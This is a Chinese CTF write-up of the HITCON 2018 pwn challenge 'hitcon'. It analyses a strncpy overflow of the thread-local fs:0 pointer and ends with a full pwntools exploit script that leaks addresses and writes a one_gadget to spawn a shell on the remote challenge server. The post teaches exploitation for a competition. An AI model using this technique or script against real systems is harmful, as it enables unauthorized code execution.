记Hitcon 2018的一道pwn题 —— 《hitcon》 writeup

阅读量338160

|评论2

|

发布时间 : 2018-10-30 14:30:43

前言

这道题在比赛中并没有解出来,而是在赛后才解出来,不过这题也花了我挺长时间的

做完之后不得不感叹hitcon的出题质量非常之高

 

正式分析

首先我们来看下main函数

前面有几个函数

setup函数是常规的初始化,读了/dev/urandom的四个字节作为seed

init_papers 函数是初始化paper,从papers.txt文件里面读取

然后循环里面有4个功能,前两个只是简单的打印内容,没什么有用的地方

重点分析的是后两个功能

schedule

这个函数会循环读取两个数字,然后这两个数字分别是第几个schedule和第几个paper的意思

schedule_ok函数会判断每个paper是否只有一个,还有全部schedule是否填满

1-3 代表第一个场次演讲的paper

4-6 代表第二个场次演讲的paper

7-9 代表第三个场次演讲的paper

每个场次的演讲会同时进行

这个是程序输出的示例

start

首先判断了schedule_ok,只有ok了才能继续

下面开始有一个init_audience

创建了997个普通的audience,还创建了两个NiceAudience 最后创建了You

这些创建都使用了c++面向对象的构造函数,NiceAudience是继承普通audience的,You是继承NiceAudience的

回到start函数

这里cur_time从0到2,代表的当前的场次

下面

(*(void (__fastcall **)(Audience *))(*(_QWORD *)aud[i] + 16LL))(aud[i]);

这里是调用了刚刚创建的Audience对象的第三个函数,我们可以去看下虚函数表

圈起来的就是被调用的函数

普通的Audience只是随机选一个,范围从0到2

NiceAudience会根据schedule来选择,大概的策略是,有Orange,Angelboy,david942j这三个人的讲座的话,就会尽量选择这三个人的,例如这一场只有Orange的,那它肯定会选Orange,如果有Orange,Angelboy两个人的,就会随机选择这两个中其中一个

You 会根据输入选择

你会有三次听演讲的机会,每次只能从3个人中选一个,而选择的东西是根据你schedule来排的

再回到start函数

这里创建了三个线程,调用的是talk函数,传参传的是paper

这里总结一下start函数的功能

  1. 判断schedule是否符合规范
  2. 让997个普通Audience随机选择3个中的一个演讲,让2个NiceAudience根据schedule来选择演讲,让你从输入读取选择演讲
  3. 启动三个线程,线程调用talk函数,传参传的分别是该场次 第一、二、三个演讲,这里启用线程大概的意思是这三个演讲是同时进行的

接下来分析talk函数

有几个函数,我们一一来分析

set_variable

这里是将3000000写入到fs:0FFFFFFFFFFFFFF60 这里代表的是演讲的总时间

fs:0FFFFFFFFFFFFFF68h 写入的是paper的指针

然后下面一个循环,找出当前的演讲是属于第几个演讲,顺序可以在papers.txt里面看

再下面一个循环是找出当前演讲属于当前场次的第几个

这些fs:xxx是用来保存当前线程的变量的,是线程安全的

do_talk

第一行strlen的长度是演讲的描述的长度

david942j
All in one shot - One Gadget RCE
All you need to know is: $ gem install one_gadget && one_gadget /lib/x86_64-linux-gnu/libc.so.6

就是All you need…..这部分的长度,然后除以时间,得出打印每个字符和下个字符之间的间隔,然后每次打印完会减掉一点总时间

qa_time

首先执行times_up,判断是否还剩余时间

这里可能会有个疑问,上面不是用长度除以时间,然后每打印一个字符就减去一点时间,理论上打印完全部字符之后时间就会没有了,为什么这里还能判断有剩余时间呢?

回答就是,长度不一定能整除时间,有些会剩余一些时间的

而剩余时间的有

Orange
A New Era Of SSRF
The new meaning of SSRF - Special Super Rare Food! Yummmmmmm..

Angelboy
Play with File Structure - Yet Another Binary Exploit
Too easy, even babies know how to exploit with file structure.

Jesmon
Warrior of Salvation
Kid, try my Judgement of the Blade.

那么我们为什么要选择有剩余时间的呢?

原因就是整个程序有漏洞的地方,就出现在response那里

首先

v0 = (const char *)(*(__int64 (__fastcall **)(_QWORD *))(*aud[i] + 24LL))(aud[i]);

这里会调用ask函数

然后将返回值,也就是buf的地址当作参数传递到response函数里面

response

我们再来分析response函数

红色框圈起来的就是初始化的部分,但是我们看看v2 v3,是rax寄存器保存的值

但是很明显我们没有传rax进来,那么v2 v3是在哪里呢?

这里fs:0其实和上面的fs:0FFFFFFFFFFFFFF60处于同一块内存区域

属于保存线程内存变量的区域

strncpy这里就是程序的漏洞,可以覆盖fs:0的值

而fs:0比较特殊,因为这个地方储存的值是指向自身的,这跟TLS的机制和实现有关,具体可以去看网上别人的教程

简单的来说就是,假如说我利用strncpy将fs:0的值覆盖为0xdeadbeef

下次调用

mov rax, fs:[0]

的话,rax得到的值就是0xdeadbeef

下面这里v7 和v8 其实也是fs:[0]

这里 (*aud[i]+8) 调用的是puts

而 (*aud[i]+32) 调用的是 readn

所以其实这里我们能任意写:

将fs:[0]的值修改为我们要写的地址加0x90,这样就能在readn那里进行任意写

但问题是我们不知道任意一个地址

因此我们可以利用第一次的puts来leak出 fs:[0]的地址

利用readn来修正被修改的 fs:[0] 地址

fs:[0]与libc的距离是固定的,但是要根据具体环境确定,与线程栈的距离也是固定的,这个不会变化

当我们第二次进入这个response函数的时候,我们可以将fs:[0]设为当前函数栈的返回地址那里,可以leak出程序的基址

之后减去偏移,因为我们这个时候控制了栈,再利用ROP和程序内部的函数,leak出一个libc的地址,我们就能知道fs:[0]与libc的距离是多少

得到距离之后,我们在第二次进入response函数的时候,再把fs:[0]设为当前函数栈返回地址,修改为one_gadget,直接getshell

而怎么才能第二次进入response函数呢?

这里就和一开始的schedule有关系了

进response需要演讲的内容的长度不能整除3000000,满足这个条件的有

Orange
Angelboy
Jesmon

上面介绍过,NiceAudience会尽量选择Orange和AngelBoy的,还有一个尽量选择的david942j 能整除

因此我们可以制定这样一个schedule

1. 三个能整除的
2. 第一个为david942j, 第二个为随便一个能整除的,第三个为Jesmon
3. 第一个为随便能整除的,第二个为Orange,第三个为Angelboy

第二次是一定能进response的,第三次就要靠运气了

 

payload

下面是正式利用的payload

from pwn import *

debug=0
context.log_level='debug'
e=ELF('./libc.so.6')

#e=ELF('./libc.so.6')
if debug:
    p=process('./hitcon',env={'LD_PRELOAD':'./libc.so.6'})
    gdb.attach(p)
else:
    p=remote('13.115.73.78', 31733)

def ru(x):
    return p.recvuntil(x)

def se(x):
    p.send(x)

def sl(x):
    p.sendline(x)

order=[2,3,5,1,8,9,6,4,7]

# schedule

sl('3')
for i in range(9):
    for q in range(4):
        ru('----------------------------------------')
    sl(str(i+1)+' '+str(order[i]))

ru('Exit')
sl('4')

# choose any one in first round
ru('2. ')
sl('1')

# choose Jesmon in second round
ru('2. ')
sl('2')
ru('Any questions?n')
#raw_input()

# partial write and leak address
se('x71'*93)
libc=u64('x70'+ru('n')[:-1]+'x00x00')
if debug:
    base=libc+0xB5E890
else:
    base=libc+0xB5E890-0x5A8000


ru('May I know your name please?')
se('a'*31)  # repaire 

ru('Which room you'd like to go?')
sl('2')
ru('Any questions?n')

stack=libc-0x1002988

se('a'*91+p64(stack-0x70+0x100))
pbase=u64(ru('n')[:-1]+'x00x00')-0x23fc #get program base

ru('May I know your name please?n')
#payload=p64(pbase+0x2ea3)+p64(pbase+0x203EF8)+p64(pbase+0x1160)  #use it to leak rand address
payload=p64(base+0x4f322)  #one gadget
se(payload)

print(hex(base))

p.interactive()

 

总结

hitcon的题目质量真的高

本文由Ch4r1l3原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/162872

安全KER - 有思想的安全新媒体

分享到:微信
+15赞
收藏
Ch4r1l3
分享到:微信

发表评论

Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全KER All Rights Reserved 京ICP备08010314号-66